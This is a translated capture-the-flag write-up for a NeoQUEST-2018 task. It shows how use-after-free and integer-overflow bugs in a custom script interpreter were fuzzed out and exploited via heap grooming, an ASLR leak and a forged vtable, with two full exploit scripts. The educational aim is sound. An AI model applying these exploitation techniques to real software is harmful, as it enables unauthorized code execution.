Pwn iNt All! We find vulnerabilities in script engines and reveal the usermode-protection mechanisms of Windows. Part 1


    Operating systems are a delicate matter. And very protected! Getting around their defense mechanisms is a complex and time-consuming affair, even slightly similar to magic. But they say that the mother’s son’s son has already found several RCE vulnerabilities , wrote an exploit, and bypassed all the defense mechanisms. We will try too!

    Let's do it on the example of task number 11 from the last NeoQUEST-2018 . The task is realistic - consider a “live” script for remote code execution, similar to the one that occurs during the operation of Javascript engines in browsers. We will look for vulnerabilities in some interpreter, implement them with the receipt of the ARW primitive, and as a result, we will bypass the user-mode Windows OS protection. The task turned out to be extremely difficultinteresting, therefore, we will devote to him a whole series of articles with a detailed description of the path to success.

    According to legend, we have a binary program, as well as the address on which this service is spinning. It is also mentioned that the first step to success is a certain “key” function.

    So let's get started!

    Key Search


    Consider the source data. The target program is a kind of command interpreter for working with three types of data: numbers, vectors and matrices. We will use the help command - this will give us an idea of ​​the set of supported commands. The interpreter allows you to:

    • Create variables of vectors, matrices and numbers of various sizes.
    • Reassign and copy variables.
    • Work with individual cells of vector matrices as with numbers, perform simple arithmetic operations with them.
    • Search for a value in vectors / matrices, find out the type of a variable and its value.
    • Create loops with variable bounds and steps.




    The program is implemented as an endless cycle of processing commands:



    And each team is represented by a separate regular expression.


    So, in search of the “key” function, we check the binary for the characteristic lines associated with the word “key” in all languages ​​of the world. Quickly find the desired fragment:




    It looks like there is no key in the binary (which is logical, damn it!). Apparently, the same binary is spinning on the server, and in the line of the argument aFirstKeyIs2c7f there is the correct key there! But how to get the contents of a modified row from a remote server?

    Elementary analysis confirms the fact that the function we found is only necessary to call, and the line with the key will be printed in stdout. It seems that this function is a virtual method of some class, since:

    • There are no direct calls to this function and sub_40E120 stub functions in the code.
    • The sub_40E120 call lies in the list of allowed from the point of view of the Control Flow Guard mechanism , which is typical for virtual methods - these methods are called through indirect calls.





    So, the front of work is clear: you need to learn how to call the desired virtual method in the binary on the server side. There are two scenarios:

    1. Try to find a legitimate opportunity to call the desired method. Theoretically, this may be an undocumented feature of the program.
    2. Search for vulnerabilities. If you find something that allows us to master the magic of executing arbitrary code, you can easily call the desired method and get the key.


    Where to start?

    Bookmarks are sweet


    First, let's analyze the code for undocumented features. Apparently, the input line processing function does not contain them: the regular expressions used here apply only to the above commands. And there are no direct calls to this function in the code. Perhaps, among the documented teams there are hidden possibilities for indirectly calling the “key” function we need?

    But no. Some commands (find, what) contain indirect calls of virtual methods, but it is impossible to influence the choice of the called method - offsets in the vtable are fixed everywhere.





    Alas, failure! Now is the time to look for excuses for vulnerabilities that will allow us to call a “key” function.

    He who seeks will always find what to seek


    We are mother programmers, so let's try to write the simplest fuzzer that generates random, syntactically correct sets of commands for the interpreter. The fuzzers Javascript and DOM are written in the same way when searching for vulnerabilities in browsers. Our fuzzer will generate various sequences of commands in the hope of “dropping” the interpreter. The principle of operation of the fuzzer when generating the next sequence of commands is as follows:

    1. First, a number of variables of various types and sizes are created. Names and types of variables are saved for later use.
    2. Next, each command is randomly generated in accordance with the list of available variables:
      • An arbitrary command is selected (without taking into account the parameters) from the list: the command to create a new variable, the arithmetic operation, the assignment command, the find, print commands.
      • Depending on the type of command, arbitrary arguments are added to it. For example, for the find command, an arbitrary name is selected from the list of available variables + an arbitrary number, which is the second argument. For an arithmetic operation command, the number of parameters is large (operation sign, variables, indexes of vectors and matrices), and each of them is also chosen arbitrarily.
      • The generated command is added to the current sequence. Since some commands can create new variables and change the type of existing ones, the lists with variables are updated in these cases. This will allow the use of new / changed variables in the process of generating subsequent commands.
    3. The interpreter runs under the debugger. The generated sequence is transmitted to the input to the interpreter. The registration of possible crashes while processing transmitted commands is being carried out.

    III ... Victory! After starting the fuzzer, it was quickly enough able to find vulnerable sequences of commands on which the interpreter “fell”. The result is more than satisfactory - as many as two different vulnerabilities!

    Vulnerability No. 1 (UaF)


    Having received the first sequence and clearing it of unnecessary commands (which do not affect the fall of the interpreter), we obtain the following Proof-Of-Concept:



    Let's take a closer look. Do you recognize? Before us is a classic vulnerability like Use-After-Free ! Here's what happens in this sequence of commands:

    1. A large vec vector and an intval intval variable are created .
    2. A copy of the vec vector is created - the variable vec2 .
    3. The variable vec2 is assigned a variable of another type (integer).
    4. An attempt to work with the original vec vector leads to writing to the freed memory and, accordingly, to the program crash.




    It seems that the interpreter implements the concept of Copy-On-Write, as a result of which the variables vec and vec2 contained a reference to the same buffer in memory. When reassigning one of the variables, the buffer was freed without taking into account the fact that it was referenced in another variable. After that, the vec variable contained a pointer to the freed memory, and had read and write access to it. As a result, this vulnerability allows to gain random access to a piece of memory in which other program objects may be located.

    Vulnerability No. 2 (Integer Overflow)


    The second problem is related to the constructor of the matrix object. When allocating memory for a numerical array, verification of the width W and the height H of the matrix is incorrectly implemented .



    The designer pre-allocates memory for W * H integer cells. If the product W * H was greater than 2 32 -1, this leads to the allocation of a very small buffer due to integer overflow. This can be noticed directly in the binary, in the class constructor.



    However, the possibility of subsequent access to the cells of this array is determined by the large boundaries of W and H , and not by the overflowing value of W * H :



    This vulnerability, like the first one, allows reading and writing to memory beyond acceptable boundaries.

    Each of the vulnerabilities found allows you to achieve the desired result - to become an RCE-god and execute arbitrary code. Consider this procedure in both cases.

    I control you!


    The possibility of random access to a free piece of memory on the heap is a strong primitive of exploitation. It is necessary to use the damaged vec object (a vector in the first case and a matrix in the second) for the controlled modification of some other object in the process heap (let's call it victim ). By properly changing the internal fields of the victim object , we will achieve the execution of arbitrary code.
    First we understand what the objects of numbers, vectors and matrices are in memory. Let's look again at the binary and not far from the input command processing function we will find the constructor calls for the corresponding classes. All of them are inheritors of the base class and have similar constructors. For example, the constructor of a vector object looks like this:



    When creating an object, the constructor of the base class is called, then the fields of the object are filled in according to its type. You can see the purpose and order of the fields: virtual function table address, vector size, buffer address, object type as a numerical identifier.
    How can I make sure that the victim variable is in the freed memory area accessible with the damaged vec object ? We will create new objects in the heap of the process immediately after bringing the vec object into a damaged state. And to search for an object that will fall into the freed memory, we use the find interpreter command. Let's put some rare value in one of the fields of the created objects - a kind of magic number. Obviously, the buffer size is best suited for this, as it is set directly by the user when creating a new object. If the search for this value in the buffer of the damaged vec object is successful, then we have found the desired object!
    We demonstrate the location of the victim object for both vulnerabilities. Actions at this stage will be slightly different from each other.

    In the case of the first vulnerability of the UaF type, the find command searches in a limited area of ​​memory - its size coincides with the size of the freed buffer of the vec object. Allocation of an object in a heap is performed by a system allocator and is not a deterministic process. We will choose the size of the buffer from the original vec object and from the created objects so that some of them get into the necessary memory in a small number of attempts:



    Well, we successfully found the victim object victim (aka v1 in this case)!

    When executing the same scenario using the second vulnerability, everything will be somewhat more complicated. In this case, the search will be potentially carried out in the entire memory, since the width W or the height H of the matrix will be large. However, if the required number is not in the immediate vicinity of the buffer, the search cycle will go beyond the boundaries of the memory mapped into the address space. This will lead to the fall of the interpreter process until it finds the coveted magic number. This problem is solved by allocating a large number of objects in memory - at least one of them gets into memory directly near the buffer.





    Bingo! And in this case, we also found the victim object !

    And now the most interesting part is that you need to understand how to change the victim object and how to start the execution of the code we need with it. So, we have successfully placed an object of the “vector” class into the freed memory. Schematically, it looks something like this:



    The victim object is located in the heap area accessible to us using the vec object , and we can both read the fields of the victim object and change them. We also know the offset of the number bufsize in the buffer of the vec object . Now modify the victim object as follows:

    1. We read the address of the vtable, thereby revealing the executable address in memory (and defeating ASLR protection).
    2. Having studied the interpreter binary, we find the constant difference between the address of the table vtable for the vector object and the address of the “key” function. This will allow you to calculate the address of the “key” function on the server side:


    3. We will create a false table vtable directly in the buffer of the victim object , where we will write the just calculated address of the “key” function.
    4. Replace the address of the true table vtable of the victim object with the address of the false.
    5. Call the what command on the victim object . Thanks to the manipulation of the vtable, instead of the genuine virtual method, our “key” function will be called. Since we call the whole function, rather than individual ROP gadgets, Contol Flow Guard protection does not prevent the function from calling.



    This scheme of calling the function we need is identical for both vulnerabilities.

    We are a step away from success, it remains to put everything together and get the key! Below we consider both examples.
    This is the code for a working exploit for a Use-After-Free vulnerability:



    Exploit Code for Use-After-Free Vulnerability
    var vec[4096]
    var m2:=vec
    var va=3
    m2:=va
    va=find(vec,256)
    var v1[256]
    va=find(vec,256)
    var vtb=0
    vtb=va-1
    var buf=0
    buf=va+1
    var func=0
    func=vec[vtb]-1547208
    func=func+57632
    v1[0]=func
    vec[vtb]=vec[buf]
    what v1



    And so - for an Integer Overflow type vulnerability:



    Exploit Code for Integer Overflow Vulnerability
    var m[65537][65536]
    var v1[256]
    var v2[256]
    var v3[256]
    var v4[256]
    var v6[256]
    var v5[256]
    var v7[256]
    var v8[256]
    var v9[256]
    var v10[256]
    var v11[256]
    var v12[256]
    var v13[256]
    var v14[256]
    var v16[256]
    var v15[256]
    var v17[256]
    var v18[256]
    var v19[256]
    var v20[256]
    var v21[256]
    var v22[256]
    var v23[256]
    var v24[256]
    var v25[256]
    var v26[256]
    var v27[256]
    var v28[256]
    var v29[256]
    var v30[256]
    var v31[256]
    var v32[256]
    var v33[256]
    var v34[256]
    var v35[256]
    var v36[256]
    var v37[256]
    var v38[256]
    var v39[256]
    var v40[256]
    var varr=0
    var varc=0
    varr=find(m,256).row
    varc=find(m,256).col
    var vtb=0
    vtb=varc-1
    var buf=0
    buf=varc+1
    var func=0
    func=m[varr][vtb]-1547208
    func=func+57632
    v1[0]=func
    v2[0]=func
    v3[0]=func
    v4[0]=func
    v5[0]=func
    v6[0]=func
    v7[0]=func
    v8[0]=func
    v9[0]=func
    v10[0]=func
    v11[0]=func
    v12[0]=func
    v13[0]=func
    v14[0]=func
    v15[0]=func
    v16[0]=func
    v17[0]=func
    v18[0]=func
    v19[0]=func
    v20[0]=func
    v21[0]=func
    v22[0]=func
    v23[0]=func
    v24[0]=func
    v25[0]=func
    v26[0]=func
    v27[0]=func
    v28[0]=func
    v29[0]=func
    v30[0]=func
    v31[0]=func
    v32[0]=func
    v33[0]=func
    v34[0]=func
    v35[0]=func
    v36[0]=func
    v37[0]=func
    v38[0]=func
    v39[0]=func
    v40[0]=func
    m[varr][vtb]=m[varr][buf]
    what v1
    what v2
    what v3
    what v4
    what v5
    what v5
    what v6
    what v7
    what v8
    what v9
    what v10
    what v11
    what v12
    what v13
    what v14
    what v15
    what v16
    what v17
    what v18
    what v19
    what v20
    what v21
    what v22
    what v23
    what v24
    what v25
    what v26
    what v27
    what v28
    what v29
    what v30
    what v31
    what v32
    what v33
    what v34
    what v35
    what v36
    what v37
    what v38
    what v39
    what v40 


    Hurrah! The key is received, and a bonus to it is important information. It turns out that there is a second key, but it lies in the file next to the binary on the server side. To solve this problem, you need to build an ROP chain, which means you have to bypass CFG. But more about that in the next article!

    And we remind you that everyone who has completed at least one task at NeoQUEST-2018 , is entitled to a prize! Check your mail for a letter, and if it didn’t come to you, write to support@neoquest.ru !

    Also popular now: